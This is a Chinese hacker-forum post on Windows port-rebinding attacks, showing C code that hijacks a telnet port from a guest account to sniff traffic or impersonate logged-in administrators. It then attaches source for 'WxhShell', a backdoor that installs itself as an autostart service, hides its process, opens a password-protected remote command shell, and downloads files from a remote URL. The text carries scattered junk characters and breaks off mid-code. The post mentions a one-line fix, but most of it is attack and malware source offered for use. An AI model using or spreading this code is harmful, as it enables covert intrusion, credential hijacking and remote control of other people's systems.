社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15707阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'm=9&?0S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |7I.DBjR;  
FB PT@`~v  
  saddr.sin_family = AF_INET; *{)![pDYd  
!2N#H~{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +:d))r=n  
Om0S^4y]x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {hM*h(W~3  
7c6-S@L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }r /L 9  
T8FKa4ikn  
  这意味着什么?意味着可以进行如下的攻击: 'vTD7a^  
gGU3e(!Uc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kc8T@5+I0  
*R>I%?]V3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) * #;rp~  
um&e.V)N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B%9[  
:OBggb#?!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $hO8 S=  
r}\h\ {  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~+#--BhV  
,8I AhQa  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w`}9/s;$  
~RXpz-Ye  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^V}R(gDu}s  
}Hz-h4Z  
  #include H\I!J@6g  
  #include <M,H9^&#l3  
  #include B~>cNj<  
  #include    &ZE\@Vc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (b%y$D  
  int main() %%~}Lw  
  { h)_Gxe"x  
  WORD wVersionRequested; ~B!O~nvdQ  
  DWORD ret; ^/>Wr'w   
  WSADATA wsaData; lq>pH5x  
  BOOL val; #JA}LA"l  
  SOCKADDR_IN saddr; 5"JU?e59M  
  SOCKADDR_IN scaddr; F7{R~mS;  
  int err; c>ad0xce6  
  SOCKET s; 1")FWN_K/T  
  SOCKET sc; p9-0?(]  
  int caddsize; M8';%  =@  
  HANDLE mt; G#H9g PY  
  DWORD tid;   bD35JG^&i  
  wVersionRequested = MAKEWORD( 2, 2 ); RF_[?O)Q  
  err = WSAStartup( wVersionRequested, &wsaData ); W+gpr|R2  
  if ( err != 0 ) { 4xm&pQo{V6  
  printf("error!WSAStartup failed!\n"); '>3`rsu  
  return -1; =}JBA>q(  
  } <jeh`g  
  saddr.sin_family = AF_INET; AnNP Ti  
   Y4#y34 We  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &<au/^F  
_(C^[:s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); QDS0ejhp  
  saddr.sin_port = htons(23); gnt45]@{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L[9OVD  
  { iTh xVD  
  printf("error!socket failed!\n"); H]s4% 9T  
  return -1; W h| L  
  } 7*i }km  
  val = TRUE; S%kS#U${|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 McjS)4j&.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,"Tjpdf  
  { y%4 Gp  
  printf("error!setsockopt failed!\n"); P5xI  
  return -1; q IM  
  } Z>F@n Tzb>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .o}%~g<d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %[w Tz$S"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Qz+sT6js-  
/r^[a,Q#x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b9Y_!Qe  
  { -$JO8'TP  
  ret=GetLastError(); q8xd*--#  
  printf("error!bind failed!\n"); `T"rG }c  
  return -1; c@R; /m:R  
  } \a))  
  listen(s,2); uZIJoT  
  while(1) _BS 9GB  
  { 7,'kpyCj  
  caddsize = sizeof(scaddr); ?NG=8.p  
  //接受连接请求 +=eR%|!@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 51by  
  if(sc!=INVALID_SOCKET) ~W03{9(Vp8  
  { l-.(Ez*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pu4,0bw  
  if(mt==NULL) xWE8W m  
  { CzVmNy)kl  
  printf("Thread Creat Failed!\n"); KX3KM!*  
  break; `8:Kp  
  } $`ztiVu3  
  } ?6P.b6m}0  
  CloseHandle(mt); *(QH{!-$s  
  } a1c1k}  
  closesocket(s); @dgH50o[  
  WSACleanup(); WVX`<  
  return 0; Qi9-z'  
  }   E0l _--  
  DWORD WINAPI ClientThread(LPVOID lpParam) \+nGOvM  
  { 3`F) AWzdr  
  SOCKET ss = (SOCKET)lpParam; =Z,5$6%)  
  SOCKET sc; M#,Q ^rH#  
  unsigned char buf[4096]; j6g@tx^)'  
  SOCKADDR_IN saddr;  8=;k"  
  long num; 'bu)M1OLi  
  DWORD val; >t  <pFh  
  DWORD ret; OP! R[27>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #E$X ,[ZFo  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }Hcx=}j  
  saddr.sin_family = AF_INET; Gy"%R-j7  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U BZ9A  
  saddr.sin_port = htons(23); >#(n"RCHf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  !HK^AwNY  
  { u[oUCTY  
  printf("error!socket failed!\n"); ?+2b(2&MXE  
  return -1; Ne6}oQy(S`  
  } 60}! LmL  
  val = 100; 9$1)k;ChP/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9em*r9-  
  { {1-V]h.<J  
  ret = GetLastError(); }|wv]U~  
  return -1; : c.JhE3D  
  } 6'C2SihYp  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y[ zZw~yx  
  { r&3pM2Da}  
  ret = GetLastError(); r"{<%e  
  return -1; pyZ9OA!PD  
  } ~DF:lqwWP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TNwK da+  
  { p(JlvJjo  
  printf("error!socket connect failed!\n"); c EnkU]  
  closesocket(sc); FjFMR 63  
  closesocket(ss); Di5(9]o2  
  return -1; [A2`]CE<@  
  } (Ddp|a"b  
  while(1) .12aUXo(  
  { </"4 zD|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  $_;e>*+x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1wj:aD?g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I f-_?wZe  
  num = recv(ss,buf,4096,0); T7*wS#z)h  
  if(num>0) !#yq@2QX  
  send(sc,buf,num,0); &1|?BZv  
  else if(num==0) K>/%X!RW  
  break; \2C`<h$fN  
  num = recv(sc,buf,4096,0); _D, ;MB&7  
  if(num>0) NjuiD].  
  send(ss,buf,num,0); R^#@lI~  
  else if(num==0) OE`X<h4r  
  break; =aG xg57  
  } <|B1wa:|  
  closesocket(ss); Q \hY7Xq'  
  closesocket(sc); s)J(/  
  return 0 ; #qBr/+b  
  } nY%5cJ`"  
p#P~Q/;  
eU@Cr7@,|  
========================================================== iq$$+y,  
,m3e?j@;r  
下边附上一个代码,,WXhSHELL PmpNAVE'  
z+{,WHjo  
========================================================== / |r'  
.="bzgC3A  
#include "stdafx.h" o{:xp r=(  
b*kfWG-6t  
#include <stdio.h> #-VMg+14  
#include <string.h> hfWFD,  
#include <windows.h> `>C<}xO  
#include <winsock2.h> 2x]>l? 5b  
#include <winsvc.h> ~uWOdm-"[  
#include <urlmon.h> 13k !'P  
!^oV #  
#pragma comment (lib, "Ws2_32.lib") kOwMs<1J  
#pragma comment (lib, "urlmon.lib") g=L]S-e  
56lCwXCgA  
#define MAX_USER   100 // 最大客户端连接数 DOS0;^f  
#define BUF_SOCK   200 // sock buffer 0|4%4 Mt  
#define KEY_BUFF   255 // 输入 buffer hwYQGtjF  
H6*^Ga  
#define REBOOT     0   // 重启 H`hnEOyLp  
#define SHUTDOWN   1   // 关机 xM>W2  
_ gj&$zP  
#define DEF_PORT   5000 // 监听端口 ;*TIM%6#  
S[3iA~)Z-  
#define REG_LEN     16   // 注册表键长度 XN=67f$Hw  
#define SVC_LEN     80   // NT服务名长度 "p&Y^]  
tC?=E#3 V  
// 从dll定义API /1=4"|q>h'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %M F;`;1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K7knK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  fE f_F r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $``1PJoi  
!LMN[3M_  
// wxhshell配置信息 Dr&('RZ4  
struct WSCFG { 1@48BN8cm'  
  int ws_port;         // 监听端口 z /KK)u(q  
  char ws_passstr[REG_LEN]; // 口令  5^<h}u9  
  int ws_autoins;       // 安装标记, 1=yes 0=no \uqjs+  
  char ws_regname[REG_LEN]; // 注册表键名 tsOrt3   
  char ws_svcname[REG_LEN]; // 服务名 MB^~%uZ2K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C&LBr|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6k{2 +P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k %e^kej  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {R<Ea @LV+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e1(Q(3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f ),TO  
Ei}/iBG@  
}; :K`ESq!8u  
RoA?p;]<  
// default Wxhshell configuration W :,4:|3  
struct WSCFG wscfg={DEF_PORT, 9O` m,t  
    "xuhuanlingzhe", `pf4X/Py  
    1, 6oaazB^L  
    "Wxhshell", h!~3Dw>,N  
    "Wxhshell", o+`6LKg;  
            "WxhShell Service", l& 4,v  
    "Wrsky Windows CmdShell Service", <U5wB]]  
    "Please Input Your Password: ", uzmk6G v  
  1, ]xC#rwHUC  
  "http://www.wrsky.com/wxhshell.exe", Ac2(O6  
  "Wxhshell.exe" q5h*`7f  
    }; `g8E1-]l  
f0<hE2  
// 消息定义模块 2]GdD*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1_fZm+oW!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;{ i'#rn{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #/"8F O%~p  
char *msg_ws_ext="\n\rExit."; t"hYcnC  
char *msg_ws_end="\n\rQuit."; }I|u'#n_  
char *msg_ws_boot="\n\rReboot..."; 3 &u_A?;  
char *msg_ws_poff="\n\rShutdown..."; _{t9 x\=  
char *msg_ws_down="\n\rSave to "; ]-oJ[5cQ0v  
E J$36  
char *msg_ws_err="\n\rErr!"; {,*"3O:\:  
char *msg_ws_ok="\n\rOK!"; XBd>tdEP  
[b%:.bjY  
char ExeFile[MAX_PATH]; B\J^=W+`  
int nUser = 0; 9TF f8'?d  
HANDLE handles[MAX_USER]; _Jwq`]Z  
int OsIsNt; NaVQ9ku7VW  
F(4?tX T  
SERVICE_STATUS       serviceStatus; t*@2OW`!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rg0m a  
sw A+f   
// 函数声明 'O5'i\uz  
int Install(void); [A}rbD K  
int Uninstall(void); Q-ni|  
int DownloadFile(char *sURL, SOCKET wsh); 4h5g'!9-g  
int Boot(int flag); b'VV'+|  
void HideProc(void); {o5V7*P;_  
int GetOsVer(void); hjaT^(Y  
int Wxhshell(SOCKET wsl); .s#;s'>g  
void TalkWithClient(void *cs); 1h6 ^>()^  
int CmdShell(SOCKET sock); 6x"Q  
int StartFromService(void); D:k 3" E"S  
int StartWxhshell(LPSTR lpCmdLine); `D9]*c !mO  
:4~g;2oag  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^TMJ8` e  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  `:P  
uwRr LF  
// 数据结构和表定义 fLV"T_rk  
SERVICE_TABLE_ENTRY DispatchTable[] = %6AW7q t  
{ v:+ ~9w+  
{wscfg.ws_svcname, NTServiceMain}, )]#aauC+  
{NULL, NULL} Z@Ae$ '9H  
}; 5XLs} :  
nk3y"ne7  
// 自我安装 *Sh^ J+j  
int Install(void) xG;-bJu  
{ D/h/Y) Y  
  char svExeFile[MAX_PATH]; Jjl`_X$CB  
  HKEY key; )Fb>8<%  
  strcpy(svExeFile,ExeFile); fABe  
." $  
// 如果是win9x系统,修改注册表设为自启动 jF[ 1za  
if(!OsIsNt) { U\rh[0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y,pZTlE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N?X~w <  
  RegCloseKey(key); |pa$*/!NT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uytE^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Et_V,s<|  
  RegCloseKey(key); "[:iXRu  
  return 0; k<+0o))  
    } S.!UPkWH  
  } :$+-3_oLMQ  
} i ZL2p>  
else { /=uMk]h  
PCnQ_A-Q  
// 如果是NT以上系统,安装为系统服务 PM":Vd/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )6~1 ^tD  
if (schSCManager!=0) d3^OEwe  
{ rw)kAe31  
  SC_HANDLE schService = CreateService 0ult7s}  
  ( /J)l/oI  
  schSCManager, Jw~( G9G  
  wscfg.ws_svcname, ``ekR6[8c  
  wscfg.ws_svcdisp, *Ywpz^2?:  
  SERVICE_ALL_ACCESS, T!W~n ZC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sS TPMh  
  SERVICE_AUTO_START, aAu>Tn86D.  
  SERVICE_ERROR_NORMAL, -yDs< Xl  
  svExeFile, .k4W_9  
  NULL, `bKA+c,f  
  NULL, e4OeoQ@ >  
  NULL, _ .i3,-l)  
  NULL, >\ST-7[^L  
  NULL B5X sGLV  
  ); J/);"bg_O  
  if (schService!=0) d7Ur$K\=y  
  { 1xf=_F0`&  
  CloseServiceHandle(schService); \n0Oez0z!B  
  CloseServiceHandle(schSCManager); A~nf#(!^]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 56hA]O29O  
  strcat(svExeFile,wscfg.ws_svcname); NvjJ b-u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?t@v&s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h;lirvO|  
  RegCloseKey(key); *b}>cn)<v  
  return 0; (yo;NKq,@  
    } <ktzT&A  
  } )x#5Il H  
  CloseServiceHandle(schSCManager); ]<DNo&fw  
} 9]$8MY   
} ,D6v4<jh  
m\ /(w_/?  
return 1; R6 XuA(5  
} =rPrPb  
TaJB4zB  
// 自我卸载 t"j|nz{m  
int Uninstall(void) B@Nt`ky0*  
{ ,~zj=F  
  HKEY key; b=a!j=-D  
ea=83 Zj  
if(!OsIsNt) { Wi n8LOC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0%s|Zbo!>  
  RegDeleteValue(key,wscfg.ws_regname); nRhrWS  
  RegCloseKey(key); q ^rl)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k&hc m  
  RegDeleteValue(key,wscfg.ws_regname); 2Ha5yaTL  
  RegCloseKey(key); 1gO2C $  
  return 0; ngulcv  
  } iNCX:Y  
} _ nT{g  
} 3-40'$lE  
else { +w| 9x.&W  
V's:>;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); XC15K@K  
if (schSCManager!=0) FDFH,J`_  
{ RaSz>-3d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e2$]g>  
  if (schService!=0) .V6-(d  
  { ]Pn !nSg  
  if(DeleteService(schService)!=0) { o?Sla_D   
  CloseServiceHandle(schService); ;@ WV-bLe  
  CloseServiceHandle(schSCManager); +?RGta'%k  
  return 0; O}Ui`eWU  
  } ;)DzC c/  
  CloseServiceHandle(schService); t qOi x/  
  } BX;5wKfA  
  CloseServiceHandle(schSCManager); 2^exL h  
} &A!KJ.  
} 5T4"j;_.BL  
sc`"P-J+vp  
return 1; kR.wOJ7'  
} *.y'(tj[  
aI#4H+/  
// 从指定url下载文件 #`tD1T{;  
int DownloadFile(char *sURL, SOCKET wsh) yeD_j/  
{ 'Tb0-1S?  
  HRESULT hr; >Pe:I  
char seps[]= "/"; }wt%1v-10U  
char *token; dGH_ z8  
char *file; {j(4m  
char myURL[MAX_PATH]; .")b?#K  
char myFILE[MAX_PATH]; }IUP5O6  
2]jPv0u  
strcpy(myURL,sURL); x;$|#]+  
  token=strtok(myURL,seps); `rWB`q|i<  
  while(token!=NULL) /rF8@l  
  { $CtCOwKZ  
    file=token; .+#Lx;})  
  token=strtok(NULL,seps); WFh@%j  
  } 6GOg_P  
^gm>!-Gx  
GetCurrentDirectory(MAX_PATH,myFILE); h*'d;_(,  
strcat(myFILE, "\\"); ~PYFYjHC  
strcat(myFILE, file); px [~=$F  
  send(wsh,myFILE,strlen(myFILE),0); 4$i}Xk#3  
send(wsh,"...",3,0); n#>5?W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R92R}=G!  
  if(hr==S_OK) {&`VGXG  
return 0; h2&y<Eg>  
else EW;1`x  
return 1; 6h@+?{F.  
j)Lo'&Y~=  
} Cgo XZX  
E!dp~RwZu  
// 系统电源模块 WgZ@N  
int Boot(int flag) -$ali[  
{ j]4,6` b\  
  HANDLE hToken; !OQuEJR  
  TOKEN_PRIVILEGES tkp; 0x4l5x$8  
bZXlJa`'S  
  if(OsIsNt) { =SL^>HS.fo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9@etg4#]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &z QWIv  
    tkp.PrivilegeCount = 1; W+/2c4$F3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h {H]xe[Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [U']kt  
if(flag==REBOOT) { wKLN:aRF2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^@N`e1  
  return 0; 'rh\CA/}D  
} iW-t}}Z>B  
else { _;V YFs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oo'iwq-\  
  return 0; :^.u-bHI  
} CL )%p"[x  
  } AD,@,|A  
  else { @M9_j{A  
if(flag==REBOOT) { ) _ #T c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  X)y*#U  
  return 0; 6iyt2q kh  
} hN}5u"pS  
else { 8m \;P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >7W"giWP  
  return 0; #W.bZ]&WA  
} %K`4k.gN  
} <%(f9j  
|B,dEx/uU  
return 1; np= J:v4  
} ={OCa1  
pM,#wYL  
// win9x进程隐藏模块 sAf9rZt*'  
void HideProc(void) vDWr|M%``l  
{ [10$a(g\x  
rC~_:uXtE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `yy%<&  
  if ( hKernel != NULL ) %jpH:-8'2  
  { 8 `yB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *?s/Ho &'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D_zcOq9  
    FreeLibrary(hKernel); tYF$#Nor#k  
  } I<IC-k"Y  
&qG? [R{  
return; 9{T 8M  
} "Fo  
uF.Q ",<  
// 获取操作系统版本 Z+OAs0}mV  
int GetOsVer(void) T,A!5V>cX  
{ 3#7ENV`  
  OSVERSIONINFO winfo; `e4o1 *  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;B,nzx(L  
  GetVersionEx(&winfo); 8|fLe\"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eUi> Mp  
  return 1; @#'yPV1  
  else J{a Q1)  
  return 0; <.y;&a o  
} !k4 }v'=  
p`shY yE  
// 客户端句柄模块 [P(rY  
int Wxhshell(SOCKET wsl) gNG0k$nP  
{ oUnq"]  
  SOCKET wsh; " 6 uTo0  
  struct sockaddr_in client; {Q}!NkF 1  
  DWORD myID; m T>b ;  
f$~ _FX  
  while(nUser<MAX_USER) ^\xCqVk_R  
{ u<BHf@AI  
  int nSize=sizeof(client); 3'|Uqf8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9/@FADh  
  if(wsh==INVALID_SOCKET) return 1; Q"x`+?!  
R (+h)#![  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fr938q6^-  
if(handles[nUser]==0) fU\k?'x_  
  closesocket(wsh); we6+2  
else LC~CPV'F  
  nUser++; 5P5A,K  
  } cij]&$;Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }3 fLV  
B]+7 JB  
  return 0; 0:7v/S!:  
} Ngm O0H  
c+)36/; X  
// 关闭 socket "t3uW6&  
void CloseIt(SOCKET wsh) y\r^\ S9%  
{ ^+.+I cH  
closesocket(wsh); UBUB/N Y  
nUser--; F)[XIY&2/  
ExitThread(0); (6b?ir~  
} -+j9X;h:  
AaCnTRG  
// 客户端请求句柄 wI1M0@}PV  
void TalkWithClient(void *cs) d=xI   
{ Y%n{`9=  
46Y7HTwE  
  SOCKET wsh=(SOCKET)cs; >uP{9kDm  
  char pwd[SVC_LEN]; t ?Njw7  
  char cmd[KEY_BUFF]; &k%wOz1vM  
char chr[1]; A$H+4L  
int i,j; /Gh x2B  
ZYl-p]\*y  
  while (nUser < MAX_USER) { ^6N3 nkyZ  
1%]{0P0?[  
if(wscfg.ws_passstr) { W_e-7=6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vMW-gk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]XpU'/h>q;  
  //ZeroMemory(pwd,KEY_BUFF); F| ,Vw{  
      i=0; b}EYNCw_7S  
  while(i<SVC_LEN) { )M|O;~q  
dH2j*G Ij  
  // 设置超时 N~Sue  
  fd_set FdRead; SzgY2+Qq  
  struct timeval TimeOut; FzsS~C$wH{  
  FD_ZERO(&FdRead); (Ay4B*|!  
  FD_SET(wsh,&FdRead); |aOnV,}  
  TimeOut.tv_sec=8; e5"-4udCn  
  TimeOut.tv_usec=0; 4/mj"PBKL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2\iD;Z#gM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JUaKj@a|  
(`uC"MLk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +gD)Yd  
  pwd=chr[0]; UmP?}Xw6  
  if(chr[0]==0xd || chr[0]==0xa) { 2!~>)N  
  pwd=0; Fm[?@Z&wP  
  break; oN1wrf}Sh  
  } AIRVvW~($  
  i++; +~pc% 3*  
    } 7:R{~|R  
|]2eGrGj4  
  // 如果是非法用户,关闭 socket ay7+H7^|hZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vI:bl~  
} 4{;8 ]/.a  
_ /2 8Cw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q+%m+ /Zq  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v,x%^gv0  
#9W5  
while(1) { *v7& T  
[0,q7d?"  
  ZeroMemory(cmd,KEY_BUFF); oE|{|27X  
scPq\Qd?O  
      // 自动支持客户端 telnet标准   fb=$<0Ocj  
  j=0; uK&wS#uY  
  while(j<KEY_BUFF) { Y[8co<p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c402pj  
  cmd[j]=chr[0]; {i7Fu+xZj  
  if(chr[0]==0xa || chr[0]==0xd) { |@bNd7=2d  
  cmd[j]=0; *mhw5Z=!  
  break; WUOPYYW<o  
  } yOCcp+`T}  
  j++; a518N*]j  
    } ([XyW{=h!  
LXEu^F~{u#  
  // 下载文件 Y| N vBr  
  if(strstr(cmd,"http://")) { $q@RHcj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nR|LV'(  
  if(DownloadFile(cmd,wsh)) >fzzrD}]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MKh L^c-  
  else \S@=zII_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p2f WL  
  } iKEKk\j-w  
  else { d~1"{WPSn  
'  ^L  
    switch(cmd[0]) { .$s|T  
  ^VYZ %  
  // 帮助 f!kdcr=/"  
  case '?': { JP% ;rAoJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n7!Lwq2  
    break; Gqz)='  
  } WF.$gBH"  
  // 安装 B46H@]d#7K  
  case 'i': { @KRn3$U  
    if(Install()) .$}zw|,q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?j$8Uy$$  
    else 27i<6PAC[A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H.G^!0j;  
    break; R#^pNJN  
    } (V%vFD1)  
  // 卸载 u2m{Yx|  
  case 'r': { Hw.@Le>  
    if(Uninstall()) 4)Wzj4qW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8[P6c;\  
    else Z42Suy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u^.k"46hn  
    break; I8wVvs;k  
    } lSv;wwEg  
  // 显示 wxhshell 所在路径 k#G7`dJl  
  case 'p': { ] Lft^,7  
    char svExeFile[MAX_PATH]; qBrZg  
    strcpy(svExeFile,"\n\r"); /faP]J)  
      strcat(svExeFile,ExeFile); v8(u9V%?6  
        send(wsh,svExeFile,strlen(svExeFile),0); @uD{`@[  
    break; &IY_z0=  
    } -^yc yZ  
  // 重启 03\8e?$  
  case 'b': { n& &U9sf?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B{7/A[$%C  
    if(Boot(REBOOT)) tF1%=&ss  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1M FpuPJk  
